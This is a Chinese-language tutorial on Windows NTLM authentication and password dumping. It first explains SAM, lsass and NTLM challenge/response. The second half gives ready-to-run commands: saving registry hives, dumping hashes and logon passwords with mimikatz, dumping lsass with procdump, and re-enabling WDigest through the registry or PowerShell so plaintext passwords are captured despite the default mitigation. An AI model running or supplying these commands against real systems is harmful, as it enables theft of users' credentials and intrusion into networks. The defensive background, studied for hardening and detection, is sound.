windows认证与密码抓取
Windows中的NTLM Hash认证分为两种,一种是本地认证,一种是网络认证。本地认证的话是通过用户输入的账号密码然后与WIndows中的SAM数据库里的值进行比对。网络认证则是基于挑战/响应的认证方式。
SAM数据库虽然存储在计算机本地,但是用户也不能直接查看明文密码,里面存储的都是NTLM Hash值。操作系统启动之后,SAM
文件将被锁定。这意味着操作系统运行之时,用户无法打开或复制 SAM
文件。除了锁定,整个 SAM
文件加密,且不可见。
%SystemRoot%\system32\config\sam
域内用户的密码 Hash 是存在于域控的 NTDS.DIT
文件里。
NTLM Hash的生成
用户注销、登录、重启之后需要输入账号密码,操作系统会让winlogon显示登录页面,用户输入账号密码之后,winlogon.exe将密码交给lsass进程处理,lsass.exe会保存一份明文密码,将明文密码加密成NTLM Hash值,然后与SAM数据库中的对比。
注:winlogon.exe即Windows Logon Process,是Windows NT用户登陆程序,用于管理用户登录和退出。LSASS用于微软Windows系统的安全机制。它用于本地安全和登陆策略。
本地认证的流程
网络认证的流程
在工作组中,都需要一可以信任的机构,对双方进行认证,这样就有一个可信的第三方来证实双方的可信任性。
NTLM协议
NTLM是一种网络认账协议,基于挑战/响应认证机制,这个协议只支持Windows,
NTLM协议的认证共需要三个消息完成:协商 ---> 挑战 ---> 认证。
1、用户向服务器发起请求
2、服务端生成16位随机数作为Challenge,并使用客户端使用的用户名的NTLM Hash生成Challenge-1,将Challenge发送给客户端
3、客户端收到Challenge之后,客户端使用登录名的NTLM Hash加密Challenge生成Response,然后将Response发送给服务器端。若对比通过,则登录成功
注:1、经过NTLM Hash加密的结果在网络中称为 Net NTLM Hash。
NTLM v1和v2的区别
v1和v2最显著的区别就是Challenge和加密算法不同,相同点加密原料都是NTLM Hash。v1用的Challenge是8位,v2用的Challenge是16位的。v1用的加密算法是DES,v2用的加密算法是HMAC-MD5。
注册表导出SAM+Mimikatz读取hash
shell reg save hklm\sam sam.hive
shell reg save hklm\system system.hive
shell reg save hklm\security security.hive
lsadump::sam /system:system.hive /sam:sam.hive
mimikatz在线读取sam
privilege::debug
token::elevate
lsadump::sam
shell mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
除了从sam文件中读,我们也可以从lsass进程中提取相关信息,mimikatz提供了sekurlsa模块,此模块可以去进程中提取密码、票据等。示例:
privilege::debug
log sekurlsa.log
sekurlsa::logonpasswords
shell mimikatz.exe "privilege::debug" "log sekurlsa.log" "sekurlsa::logonpasswords" "exit"
Mimikatz+Procdump导出lsass.dmp
shell procdump64.exe -accepteula -ma lsass.exe lsass.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
密码抓取防范
如果密码足够复杂,那么hash是不容易破解的。在windows server2012以上版本默认关闭了wdigest(windows下的一个安全协议),关闭后是不能从lsass中获取明文密码的,这时的lsass是不会缓存明文密码的。而2012以下的版本如果打了KB2871997,则lsass也不会存明文密码。通过上面的一些mimikatz结果可以看到wdigest下的password为null。所以防范时一个保证密码复杂度,另一个就是确保wdigest的关闭。
我们可以通过修改注册表来绕过这个,需要用户重新登录后才能成功抓取。修改注册表的命令,1为打开0为关闭,打开后当前账号需要注销或者从新登录,这时lsass才会去存明文密码,
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
或者用powershell
powershell -c "set-itemproperty -path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1"
powershell -c "set-itemproperty -path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0"